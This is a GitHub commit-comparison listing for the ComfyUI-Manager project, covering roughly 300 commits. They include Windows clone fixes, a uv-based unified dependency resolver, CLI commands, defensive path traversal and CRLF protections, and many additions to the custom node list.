Compare commits

...
301 Commits
Author SHA1 Message Date
Dr.Lt.Data affc3e7d2e fix: Windows git clone failures — URL reinstall + pipe deadlock + file lock
Three fixes for Windows E2E failures:

1. cm_cli reinstall_node(): URL-based node specs used the full URL
   as lookup key, but internal dicts are keyed by repo basename or
   cnr_id. Use get_cnr_by_repo() for CNR-aware lookup with correct
   is_unknown flag.

2. git_helper.py gitclone(): disable tqdm progress when stderr is
   piped (sys.stderr.isatty() gate) to prevent pipe buffer deadlock.
   Also move stale directories from previous failed clones into
   .disabled/.trash/ before cloning (GitPython handle leak on Windows).

3. try_rmtree(): 3-tier deletion strategy for Windows file locks:
   retry 3x with delay, rename into .disabled/.trash/, then lazy-delete
   via reserve_script as final fallback.
2026-03-22 18:45:33 +09:00
Dr.Lt.DataandGitHub 099aed1ad4 fix(git_helper): Windows subprocess crash fix + multiplatform E2E CI (#2717)
Python Linting / Run Ruff (push) Has been cancelled
Publish to PyPI / build-and-publish (push) Has been cancelled
* fix(git_helper): surface git stderr and use portable exit code

- Redirect exception output to stderr for diagnostic visibility
- Surface GitCommandError.stderr when available
- Use sys.exit(1) instead of sys.exit(-1) for portable exit codes
- Remove debug print statements

* fix(e2e): cross-platform E2E tests with file-based stdout capture

- Cross-platform cm-cli path (Scripts/cm-cli.exe vs bin/cm-cli)
- File-based stdout/stderr capture to avoid Windows pipe buffer loss
- Rename uv-compile → uv-sync for standalone command refs
- Update conflict test packs: ansible → python-slugify/text-unidecode
- Add .trash_* cleanup and retry+rename for Windows file locks
- Add test_e2e_git_clone.py for nightly install via ComfyUI server
- Add setup_e2e_env.py cross-platform setup script

* feat(ci): add multiplatform E2E workflow (ubuntu/windows/macos)

Matrix: ubuntu-latest, windows-latest, macos-latest × Python 3.10
Triggers on push to main/feat/*/fix/* and PRs to main.

* bump version to 4.1b7
2026-03-21 09:24:35 +09:00
Dr.Lt.Data e129697151 bump version to the 4.1b6
Python Linting / Run Ruff (push) Has been cancelled
Publish to PyPI / build-and-publish (push) Has been cancelled
2026-03-18 02:06:02 +09:00
Dr.Lt.DataandGitHub cd60f33f6d fix(git_helper): remove comfyui_manager import to fix Windows subprocess crash (#2703)
git_helper.py is spawned as a standalone subprocess on Windows
(manager_core.py:1342). The import of comfyui_manager.common.timestamp_utils
triggered comfyui_manager/__init__.py which imports from comfy.cli_args —
unavailable in the subprocess environment, causing ModuleNotFoundError.

Inline get_backup_branch_name() using only stdlib (time, uuid), preserving
the original collision-detection and UUID-fallback semantics. Add 9 tests
covering standalone subprocess loading, behavioral equivalence, edge cases
(repo.heads exception, 99-suffix exhaustion with UUID fallback).
2026-03-18 02:04:48 +09:00
Dr.Lt.DataandGitHub ddccefbc70 feat(cli): add update-cache command, purge reinstall fallback, and batch failure tracking (#2693)
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
Add `cm-cli update-cache` command that force-fetches all remote data
and populates local cache in blocking mode. Bypasses pip/offline guards
in get_data_by_mode and get_cnr_data by directly fetching channel JSON
files and calling reload('remote'). Solves permanent cold-start issue
where pip-installed cm-cli could never populate CNR cache without
running the web server first.

Add UnifiedManager.purge_node_state() to both glob and legacy packages
for reinstall categorization mismatch (e.g. unknown→nightly). Includes
path traversal protection via commonpath, root directory guard,
comfyui-manager self-protection, and finally-guarded dictionary cleanup.

Add NodeInstallError exception and batch failure tracking to
for_each_nodes: reinstall propagates install failures via
raise_on_fail, for_each_nodes catches NodeInstallError, tracks
failed nodes, reports aggregate summary, and exits non-zero.

Remove debug print in install_node.
Bump version to 4.1b5.

E2E verified:
- update-cache: empty cache (5 lines) → populated (7815 lines)
- reinstall batch: 2 packs, 1 failure → continues to 2nd → summary + exit 1
2026-03-15 09:45:25 +09:00
Dr.Lt.Data 3bc2e18f88 refactor(cli): rename standalone uv-compile command to uv-sync
Publish to PyPI / build-and-publish (push) Waiting to run
Python Linting / Run Ruff (push) Waiting to run
The command performs collect→compile→install (full pipeline),
not just compile. uv-sync better reflects the actual behavior.

The --uv-compile flag on other commands (install, reinstall,
update, fix, etc.) is intentionally kept as-is: it reads as
a mechanism descriptor ("use uv pip compile to resolve deps")
rather than a reference to the standalone command name.
2026-03-14 08:50:12 +09:00
Dr.Lt.DataandGitHub d7a2277017 feat(cli): expand --uv-compile to all node management commands with conflict attribution (#2682)
* feat(cli): expand --uv-compile to all node management commands with conflict attribution

Add --uv-compile flag to reinstall, update, fix, restore-snapshot,
restore-dependencies, and install-deps commands. Each skips per-node
pip installs and runs batch uv pip compile after all operations.

Change CollectedDeps.sources type to dict[str, list[tuple[str, str]]]
to store (pack_path, pkg_spec) per requester. On resolution failure,
_run_unified_resolve() cross-references conflict packages with sources
using word-boundary regex and displays which node packs requested each
conflicting package.

Update EN/KO user docs and DESIGN/PRD developer docs to cover the
expanded commands and conflict attribution output. Strengthen unit
tests for sources tuple format and compile failure attribution.
Bump version to 4.1b3.

* refactor(cli): extract _finalize_resolve helper, add CNR nightly fallback and pydantic guard

- Extract `_finalize_resolve()` to eliminate 7x duplicated uv-compile
  error handling blocks in cm_cli (~-85 lines)
- Move conflict attribution regex to `attribute_conflicts()` in
  unified_dep_resolver.py for direct testability
- Update 4 attribution tests to call production function instead of
  re-implementing regex
- Add CNR nightly fallback: when node is absent from nightly manifest,
  fall back to cnr_map repository URL (glob + legacy)
- Add pydantic Union guard: use getattr for is_unknown in uninstall
  and disable handlers to prevent Union type mismatch
- Add E2E test suites for endpoint install/uninstall and uv-compile
  CLI commands (conflict + success cases)
- Add nightly CNR fallback regression tests
2026-03-14 07:58:29 +09:00
f042d73b72 feat(deps): add unified dependency resolver using uv pip compile (#2589)
Python Linting / Run Ruff (push) Has been cancelled
Publish to PyPI / build-and-publish (push) Has been cancelled
* feat(deps): add unified dependency resolver using uv pip compile

- Add UnifiedDepResolver module with 7 FRs: collect, compile, install pipeline
- Integrate startup batch resolution in prestartup_script.py (module scope)
- Skip per-node pip install in execute_install_script() when unified mode active
- Add use_unified_resolver config flag following use_uv pattern
- Input sanitization: reject -r, -e, --find-links, @ file://, path separators
- Handle --index-url/--extra-index-url separation with credential redaction
- Fallback to per-node pip on resolver failure or uv unavailability
- Add 98 unit tests across 20 test classes
- Add PRD and Design docs with cm_global integration marked as DEFERRED

* fix(deps): reset use_unified_resolver flag on startup fallback

When the unified resolver fails at startup (compile error, install
error, uv unavailable, or generic exception), the runtime flag was
not being reset to False. This caused subsequent runtime installs
to incorrectly defer pip dependencies instead of falling back to
per-node pip install.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* test(deps): add manual test cases for unified dependency resolver

Add environment setup guide and 16 test cases covering:
- Normal batch resolution (TC-1), disabled state (TC-2)
- Fallback paths: uv unavailable (TC-3), compile fail (TC-4),
  install fail (TC-5), generic exception (TC-16)
- install.py preservation (TC-6), runtime defer (TC-13)
- Input sanitization: dangerous patterns (TC-7), path separators
  (TC-8), index-url separation (TC-9), credential redaction (TC-10)
- Disabled pack exclusion (TC-11), no-deps path (TC-12)
- Both unified resolver guard paths (TC-14), post-fallback (TC-15)

Includes API reference, traceability matrix, and out-of-scope items.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(deps): prevent read_config() from overriding resolver fallback state

read_config() in manager_core.py unconditionally re-read
use_unified_resolver from config.ini, undoing the False set by
prestartup_script.py on resolver fallback. This caused runtime
installs to still defer deps even after a startup batch failure.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(deps): support multiple index URLs per line and optimize downgrade check

- Rewrite _split_index_url() to handle multiple --index-url /
  --extra-index-url options on a single requirements.txt line using
  regex-based parsing instead of single split.
- Cache installed_packages snapshot in collect_requirements() to avoid
  repeated subprocess calls during downgrade blacklist checks.
- Add unit tests for multi-URL lines and bare --index-url edge case.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* test(deps): add E2E scripts and update test documentation

Add automated E2E test scripts for unified dependency resolver:
- setup_e2e_env.sh: idempotent environment setup (clone ComfyUI,
  create venv, install deps, symlink Manager, write config.ini)
- start_comfyui.sh: foreground-blocking launcher using
  tail -f | grep -q readiness detection
- stop_comfyui.sh: graceful SIGTERM → SIGKILL shutdown

Update test documentation reflecting E2E testing findings:
- TEST-environment-setup.md: add automated script usage, document
  caveats (PYTHONPATH, config.ini path, Manager v4 /v2/ prefix,
  Blocked by policy, bash ((var++)) trap, git+https:// rejection)
- TEST-unified-dep-resolver.md: add TC-17 (restart dependency
  detection), TC-18 (real node pack integration), Validated
  Behaviors section, normalize API port to 8199

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(deps): harden input sanitization, expand test coverage, bump version

Security:
- Add _INLINE_DANGEROUS_OPTIONS regex to catch pip options after package
  names (--find-links, --constraint, --requirement, --editable, --trusted-host,
  --global-option, --install-option and short forms)
- Stage index URLs in pending_urls, commit only after full line validation
  to prevent URL injection from rejected lines

Tests:
- Add 50 new tests: inline sanitization, false-positive guards, parse
  helpers (_parse_conflicts, _parse_install_output), exception paths
  (91 → 141 total, all pass)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* feat(cli): add uv-compile command and --uv-compile flag for batch dependency resolution

Add two CLI entry points for the unified dependency resolver:

- `cm_cli uv-compile`: standalone batch resolution of all installed
  node pack dependencies via uv pip compile
- `cm_cli install --uv-compile`: skip per-node pip, batch-resolve all
  deps after install completes (mutually exclusive with --no-deps)

Both use a shared `_run_unified_resolve()` helper that passes real
cm_global values (pip_blacklist, pip_overrides, pip_downgrade_blacklist)
and guarantees PIPFixer.fix_broken() runs via try/finally.

Update DESIGN, PRD, and TEST docs for consistency.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-07 06:51:53 +09:00
0d88a3874d refactor(cli): move cm_cli to top-level package and remove dead cli-only-mode (#2548)
Python Linting / Run Ruff (push) Has been cancelled
Publish to PyPI / build-and-publish (push) Has been cancelled
- Move cm_cli from comfyui_manager/cm_cli/ to top-level cm_cli/ package
- Convert relative imports to absolute imports
- Remove non-functional cli-only-mode command (flag was never checked)
- Update docs: python cm-cli.py → cm-cli entrypoint
- Update prestartup snapshot restore to use -m cm_cli
- Version bump to 4.1b1

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-27 19:42:35 +09:00
Dr.Lt.Data ef8703a3d7 security(api): add path traversal and CRLF injection protection
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
- Add is_safe_path_target() and get_safe_file_path() utilities
- Validate history id and snapshot target parameters in API endpoints
- Sanitize config string values to prevent CRLF injection
2026-01-08 18:35:03 +09:00
Akhil NarayananandDr.Lt.Data a4138a89ee Ignore Windows stderr flush errors (#2462) 2026-01-08 16:59:16 +09:00
Dr.Lt.Data f85a12f2a2 bump version to 4.0.4
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
2025-12-27 04:56:48 +09:00
GeorgeRandGitHub 29216e96bd Fix for peername tuple size variability in get_client_ip (#2427)
ipv6 compatibility patch.
2025-12-27 04:53:17 +09:00
Dr.Lt.Data 3f0fc85b95 refactor(core): add verbose config, improve module lookup, fix is_valid_url
- Add verbose config option to control CNR fetch logging
- Improve get_module_name with cnr_id/aux_id fallback via repo_cnr_map
- Fix is_valid_url misuse of try/finally that could cause runtime errors
- Move SSH_URL_PATTERN to module-level constant for performance
2025-12-27 03:57:19 +09:00
Dr.Lt.Data b9def4cb6e refactor: remove preview_method and component legacy features
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
Preview Method Removal:
- Remove preview method UI from Manager settings panel
- Remove /v2/manager/preview_method API endpoint (legacy)
- Remove set_preview_method() and get_current_preview_method() functions
- Remove preview_method from config read/write operations
- Clean up latent_preview imports

Use ComfyUI Settings > Execution > Live preview method instead.

Component Feature Removal:
- Delete components-manager.js entirely
- Remove ComponentBuilderDialog, load_components, set_component_policy
- Remove component policy UI from Manager settings panel
- Remove /v2/manager/policy/component API endpoint
- Remove /v2/manager/component/save and /loads API endpoints
- Remove component_policy from config read/write operations
- Remove manager_components_path from context
2025-12-19 22:39:59 +09:00
a7eb93fff0 Changed Main Dialog to match aesthetics and close button location as Original ComfyUI Interface (#2349)
* Started changing UI to match the rest of ComfyUI

Completed Main Container

* - Added layout formatting to components of the Manager dialog box
- Pulled name from select and put it into a label (eg "DB: Channel" now has a label of DB and a dropdown with channel, etc)
- Fixed incorrect z-index

* Removed this.close() I added before finding z-index issue.

* Matched buttons and drop downs to match style of ComfyUI interface while keeping the colours the same as OG ComfyUI Manager

* - Took gui building out and put into its own .js
- Applied theme to Nodes Manager
- Made theme respect user theme colors

* - Themed model manager and snapshot manager
- fixed incorrect id in gui builder

* Fix syntax error in color property

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-12-19 15:04:02 +09:00
Dr.Lt.Data a542695e9c chore: bump version to 4.0.3b6 and fix git_helper path
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
- Update version from 4.0.3b5 to 4.0.3b6 in pyproject.toml
- Fix git_helper.py path to include 'common' subdirectory in context.py
2025-12-18 18:45:31 +09:00
Dr.Lt.Data 2779c66b39 feat(version): apply semver-based version sorting to glob and add master fallback
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
- Apply PR #2334 changes to glob/manager_core.py (was only in legacy)
- Add master branch fallback when remote/HEAD reference is unavailable
2025-12-15 03:39:13 +09:00
Dr.Lt.Data 952613c07b fix(api): improve import_fail_info_bulk lookup for cnr_id and aux_id
- Add aux_id format (author/repo) support in normalize_to_github_id()
- Fix get_module_name() to use URL normalization for unknown_active_nodes
- Use NormalizedKeyDict in reload() to maintain normalized key lookup
2025-12-15 02:54:30 +09:00
75f27d99e2 ComfyUI version listing + nightly current fix (#2334)
* Improve comfyui version listing

* Fix ComfyUI semver selection and stable update

* Fix nightly current detection on default branch

* Fix: use tag_ref.name explicitly and cache get_remote_name result

- Use tag_ref.name instead of tag_ref object for checkout
- Cache get_remote_name() result to avoid duplicate calls

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

---------

Co-authored-by: Dr.Lt.Data <dr.lt.data@gmail.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
2025-12-12 23:12:01 +09:00
Dr.Lt.DataandClaude Opus 4.5 8e8b6ca724 fix(git): handle divergent branches safely + datetime fallback
- Use --ff-only flag to detect non-fast-forward situations
- Create backup branch before resetting divergent local branch
- Reset to remote branch when fast-forward is not possible
- Add timestamp_utils.py for Mac datetime module compatibility
- Migrate all datetime usages to centralized utilities
- Bump version to 4.0.3b5

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2025-12-12 22:45:05 +09:00
Dr.Lt.Data 3425fb7a14 docs: update manager data path to __manager
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
2025-12-03 02:38:15 +09:00
Dr.Lt.Data c69e7bcf03 feat(security): use system user directory for manager data
Use folder_paths.get_system_user_directory("manager") to protect manager config and data from HTTP endpoint access.

Ref: comfyanonymous/ComfyUI#10966
2025-12-03 02:34:57 +09:00
Dr.Lt.Data 85ebcd9897 In response to the patch that separates manager_requirements.txt from requirements.txt, this update additionally refreshes manager_requirements.txt when it is present.
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
https://github.com/ltdrdata/ComfyUI/commit/79fb96488aa3842b9799a96e570535c6aed8e963
2025-11-26 22:35:03 +09:00
Dr.Lt.Data 69b6f1a66b Merge branch 'main' into manager-v4 2025-11-26 22:14:11 +09:00
Dr.Lt.Data e4a90089ab fixed: a bug where updating ComfyUI using Update: ComfyUI Stable Version did not updating ComfyUI's dependencies 2025-11-26 21:54:28 +09:00
Dr.Lt.Data 674b9f3705 update DB 2025-11-26 21:41:55 +09:00
Dr.Lt.Data 4941fb8aa0 fixed: scanner.py
Python Linting / Run Ruff (push) Waiting to run
2025-11-26 08:58:02 +09:00
Dr.Lt.Data 183af0dfa5 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-11-25 12:59:01 +09:00
Dr.Lt.Data 45ac5429f8 "update DB" 2025-11-25 12:46:44 +09:00
Dr.Lt.Data c771977a95 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-11-24 23:10:06 +09:00
Dr.Lt.Data 668d7bbb2c update DB 2025-11-24 22:56:38 +09:00
926cfabb58 Add Keybinding Extra (keyboard shortcut extension) (#2306)
* Add Keybinding Extra custom node

Added a new custom node for Keybinding Extra with relevant details.

* Enhance description for Keybinding Extra

Updated the description for the Keybinding Extra to provide more detail about its functionality.

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-24 22:55:44 +09:00
Dr.Lt.Data a9a8d05115 update DB 2025-11-24 22:54:26 +09:00
Eric RolleiandGitHub e368f4366a Add Download Tools for ComfyUI (#2298)
Added new download tools for ComfyUI with extensive features for media downloading and web scraping.
2025-11-24 22:51:50 +09:00
Dr.Lt.Data dc5bddbc17 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-11-24 02:00:50 +09:00
358a480408 IcyHider Nodes (#2304)
* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-24 00:17:22 +09:00
Dr.Lt.Data c96fdb3c7a update DB 2025-11-22 10:36:00 +09:00
Dr.Lt.Data c090abcc02 update DB 2025-11-22 09:46:14 +09:00
kjqwerandGitHub 1ff02be35f add node (#2282)
* add node

* add node
2025-11-22 09:45:21 +09:00
Dr.Lt.Data 10fbfb88f7 update DB 2025-11-22 09:43:20 +09:00
MadiatorLabsandGitHub 9753df72ed Added ComfyUI-RunpodDirect to node list (#2291) 2025-11-22 09:41:54 +09:00
Dr.Lt.Data 095cc3f792 Merge PR #2297: Add PDF Tools and update AAA Metadata System
Resolved merge conflict with PR #2297 by integrating:
- PDF Tools - Advanced PDF Processing & OCR (new entry)
- AAA Metadata System (updated with enhanced description and metadata)
- HYPIR Image Restoration (preserved from main branch)

All entries use consistent spacing and JSON formatting.
2025-11-22 09:33:58 +09:00
Dr.Lt.DataandGitHub 656171037b Update custom-node-list.json
HYPIR-ComfyUI was a separated PR.
2025-11-22 09:28:40 +09:00
Dr.Lt.Data 7ac10f9442 update DB 2025-11-22 09:25:07 +09:00
3925ba27b4 feat: Add HunyuanVideo-1.5 nodes (#2300)
* feat: Add HunyuanVideo-1.5 nodes

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <dr.lt.data@gmail.com>
Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-22 09:23:18 +09:00
Dr.Lt.Data 44ba79aa31 update DB 2025-11-22 09:15:50 +09:00
Eric RolleiandGitHub 14d0e31268 Add HYPIR Image Restoration nodes to custom-node-list (#2299)
Added custom ComfyUI nodes for HYPIR image restoration, including details on author, title, reference, and description.
2025-11-22 09:12:27 +09:00
Dr.Lt.Data 033acffad1 update DB 2025-11-22 08:42:06 +09:00
d29ff808a5 I added my node to the JSON file (#2287)
* Update custom-node-list.json

Added my node to the JSON

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-22 08:40:35 +09:00
Dr.Lt.Data dc9b6d655b update DB 2025-11-22 08:40:02 +09:00
Casual GamerandGitHub d340c85013 feat: add ComfyUI Text Processor to node list (#2295) 2025-11-22 08:39:00 +09:00
Dr.Lt.Data e328353664 update DB 2025-11-21 00:33:43 +09:00
Eric RolleiandGitHub 02785af8fd Merge pull request #2 from EricRollei/EricRollei-patch-1
Add HYPIR Image Restoration entry to custom-node-list
2025-11-20 01:39:02 -08:00
Eric RolleiandGitHub 736ae5d63e Add HYPIR Image Restoration entry to custom-node-list
Added a new entry for HYPIR Image Restoration including author, title, reference, files, install type, description, and nodename pattern.
2025-11-20 01:38:39 -08:00
Eric RolleiandGitHub e1eeb617d2 Merge pull request #1 from EricRollei/EricRollei-patch-1
Add AAA Metadata System entry to custom-node-list
2025-11-20 01:34:27 -08:00
Eric RolleiandGitHub 23b6c7f0de Add AAA Metadata System entry to custom-node-list
Added a new entry for the AAA Metadata System with detailed features and installation instructions.
2025-11-20 01:34:04 -08:00
Eric RolleiandGitHub 997f97e1fc Add PDF Tools for advanced PDF processing and OCR
Added a new entry for advanced PDF processing tools, including OCR and image parsing capabilities.
2025-11-20 01:10:01 -08:00
Dr.Lt.Data ff335ff1a0 update DB 2025-11-19 23:12:01 +09:00
Dr.Lt.Data cb3036ef81 modified: scanner.py – updated main so it can be imported 2025-11-19 22:43:28 +09:00
Dr.Lt.Data f762906188 update DB 2025-11-19 22:42:14 +09:00
dde7920f8c Add ComfyUI-Animon node (#2293)
* Add ComfyUI-Animon node

* Update custom-node-list.json

* Remove and re-add ComfyUI-Animon entry in JSON

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-19 22:41:13 +09:00
Dr.Lt.Data 1a0d24110a update DB 2025-11-19 22:38:35 +09:00
e79f6c4471 Add new node for ComfyUI_Make-It-Animatable (#2292)
* Add new node for ComfyUI_Make-It-Animatable

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-19 22:37:20 +09:00
Dr.Lt.Data a8a7024a84 update DB 2025-11-19 18:46:14 +09:00
Dr.Lt.Data d93d002da0 improved: scanner.py - bugfix about preemption and support extraction only mode 2025-11-19 13:00:26 +09:00
Dr.Lt.Data baaa0479e8 update DB 2025-11-19 01:43:47 +09:00
Dr.Lt.Data cc3bd7a056 update DB 2025-11-18 12:59:21 +09:00
Dr.Lt.Data 4ecefb3b71 improved: scanner.py - supports scanning v3 nodes 2025-11-18 12:48:02 +09:00
Dr.Lt.Data f24b5aa251 update DB 2025-11-17 12:27:39 +09:00
Dr.Lt.Data de547da4cd update DB 2025-11-17 00:37:26 +09:00
Dr.Lt.Data 0f884166a6 update DB 2025-11-16 23:03:10 +09:00
Alan KentandGitHub 63379f759d Added 360 interactive crop tool. (#2285) 2025-11-16 23:02:22 +09:00
Dr.Lt.Data 8fdff20243 update DB 2025-11-16 23:01:34 +09:00
5dfa07ca03 Updates to the existing details (#2286)
* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-16 23:00:03 +09:00
Dr.Lt.Data 343645be6a update DB 2025-11-16 22:58:58 +09:00
Wei DengandGitHub 91bf21d7a8 Add ComfyUI-MiVolo-V2 node details to JSON (#2283) 2025-11-16 22:57:30 +09:00
Dr.Lt.Data be6516cfd3 update DB 2025-11-15 13:32:22 +09:00
Dr.Lt.Data 61f1e516a3 update DB 2025-11-15 08:27:09 +09:00
73b2278b45 Update custom-node-list.json (#2275)
* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-15 08:25:44 +09:00
Dr.Lt.Data aa625e30b6 update DB 2025-11-15 08:25:30 +09:00
29a46fe4ce Update custom-node-list.json (#2279)
* Update custom-node-list.json

* Update custom-node-list.json

* Update BoxBox ID in custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-15 08:22:12 +09:00
Dr.Lt.Data 5b3ee49530 update DB 2025-11-15 08:21:27 +09:00
Owl-VandGitHub a9158a101f feat: add ComfyUI-MultiTranslator (replaces ComfyUI-Translator) (#2278)
This PR addresses two issues with the previous ComfyUI-Translator entry:

Missing id field — caused the plugin to be invisible in ComfyUI-Manager's Install tab.
Naming conflict — the original name ComfyUI-Translator overlaps with other translation plugins, leading to user confusion.
The repository has been renamed to ComfyUI-MultiTranslator to better reflect its multi-engine capability and avoid conflicts.

This PR removes the old entry and adds a new, fully compliant one with a unique id.
2025-11-15 08:20:31 +09:00
feed8abb34 Add iamccs annotate node — ComfyUI annotation extension (#2254)
* feat: Add IAMCCS-nodes repository (WANAnimate LoRA Loader Fix)

This repo adds a node fixing LoRA loading in native WANAnimate workflows without using WanVideoWrapper. Critical for FLUX/WAN 2.1 users.

* Update custom-node-list.json

* feat: Add IAMCCS annotate node to the list

* Update custom-node-list.json

---------

Co-authored-by: IAMCCS <info@carminecristalloscalzi.com>
Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-15 08:16:01 +09:00
Dr.Lt.Data 70decc740f update DB 2025-11-13 00:27:19 +09:00
Dr.Lt.Data 5b5c83f8c5 update DB 2025-11-12 23:52:37 +09:00
Takahiro YanoandGitHub 773c06f40d Add ComfyUI Fast Mosaic Detector node (#2274)
Added a new custom node for ComfyUI that provides high-speed mosaic detection with multiple modes.
2025-11-12 23:51:34 +09:00
Dr.Lt.Data 737e6ad5ed update DB 2025-11-12 23:50:51 +09:00
81bca9c94e Update custom-node-list.json (#2273)
* Update custom-node-list.json

* Modify 'world weaver' node details in JSON

Updated the 'id' and 'install_type' fields for the 'world weaver' node.

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-12 23:50:10 +09:00
Dr.Lt.Data eef0654de2 update DB 2025-11-12 23:49:43 +09:00
Dr.Lt.Data 997a00b8a2 update DB 2025-11-12 23:48:24 +09:00
4d25232c5f This adds rafacostcomfy nodes DreamOmni2 GGUF (#2272)
* This adds rafacostcomfy nodes, which adds support to DreamOmni2 GGUF VLM models

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-12 23:47:44 +09:00
Dr.Lt.Data 135befa101 update DB 2025-11-12 23:45:41 +09:00
44cac3fc43 Add a set of translator nodes (#2271)
* Add a set of translator nodes

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-12 23:44:49 +09:00
Dr.Lt.Data 449fa3510e update DB 2025-11-12 23:42:29 +09:00
d958af8aad Add ComfyUI-Painterl2V to custom-node-list (#2267)
* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-12 23:41:30 +09:00
Dr.Lt.Data 09f8d5cb2d update DB 2025-11-11 01:56:51 +09:00
Dr.Lt.Data aedc99cefd bump version 2025-11-11 00:42:32 +09:00
unclepomedevandGitHub b32cab6e9a Fix: Gracefully handle errors during pip package enumeration (#2266) 2025-11-11 00:41:16 +09:00
Dr.Lt.Data a95186965e update DB 2025-11-11 00:40:41 +09:00
7067de1bb2 request to add the node comfyui fmj llm in the manager. (#2265)
* Add FMJ-LLM node for Olama interaction

Added a new node for FMJ-LLM with details about its functionality and installation.

* Add FMJ-LLM node for Olama interaction

Added new node for FMJ-LLM with details for installation and usage.

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-11 00:39:36 +09:00
Dr.Lt.Data f45d878d21 update DB 2025-11-11 00:39:23 +09:00
a0532b938d Update custom-node-list.json to point to Usonaki fork (#2264)
Co-authored-by: Usonaki <you@example.com>
2025-11-11 00:37:32 +09:00
Dr.Lt.Data 6ad12b7652 update DB 2025-11-11 00:37:15 +09:00
02887c6c9b Add FMJ-speed-Prompt node to custom-node-list (#2263)
* Add FMJ-speed-Prompt node to custom-node-list

Added a new node for FMJ-speed-Prompt with details.

* Fix JSON structure for FMJ-speed-Prompt entry

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-11 00:35:29 +09:00
Dr.Lt.Data 1b645e1cc3 update DB 2025-11-11 00:31:40 +09:00
UygarandGitHub 0a4b2a0488 Update custom-node-list.json (#2268)
Added ComfyUI-Artha Nodes
2025-11-11 00:29:52 +09:00
Alex FurerandGitHub d4ce6ddc52 Add ComfyUI AF - Enhanced-HTML-Note node (#2269)
Added new ComfyUI custom node for enhanced HTML notes.
2025-11-11 00:28:44 +09:00
Dr.Lt.Data 5a5b989533 update DB 2025-11-11 00:27:17 +09:00
b57cffb0fa feat: add ComfyUI-Owlv_Nodes (#2270)
* feat: add ComfyUI-Owlv_Nodes

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-11 00:25:53 +09:00
Dr.Lt.Data 72aa95cacf update DB 2025-11-10 12:56:58 +09:00
Dr.Lt.Data 14ef448937 update DB 2025-11-08 13:51:59 +09:00
1c10607c06 Add My Comfyui-TextLine-counter node (#2253)
* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

* Remove 'id' field from Comfyui-TextLine-counter

Removed 'id' field from the Comfyui-TextLine-counter entry.

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-08 13:40:13 +09:00
Dr.Lt.Data 41e53a1f2a update DB 2025-11-08 13:40:04 +09:00
cde83e9a38 Add ComfyUI-LinkModeToggle custom node (#2260)
* Update custom-node-list.json

* Update custom-node-list.json

Renamed LinkModeToggle to ComfyUI-LinkModeToggle.

